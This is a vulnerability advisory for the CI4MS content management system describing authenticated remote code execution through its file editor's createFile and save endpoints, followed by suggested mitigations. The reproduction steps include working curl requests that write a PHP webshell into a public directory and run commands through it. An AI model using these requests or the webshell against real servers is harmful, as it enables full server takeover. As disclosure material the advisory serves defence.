CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor

Summary

A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.

Vulnerability Details

The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.

Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.

Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.

An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.

Impact

Successful exploitation allows:

Full access to the server's file system and databases.

Execution of arbitrary OS commands.

Permanent modification or deletion of application data.

Steps to Reproduce

Log in to an account with permissions to use the file editor.

Create a new PHP file in a public directory using the following request:

curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'

Inject a PHP payload into the file using the save endpoint:

curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'

Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami

Suggested Mitigation

Path Validation: Restrict file operations to non-executable directories.

Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.

Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.

Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).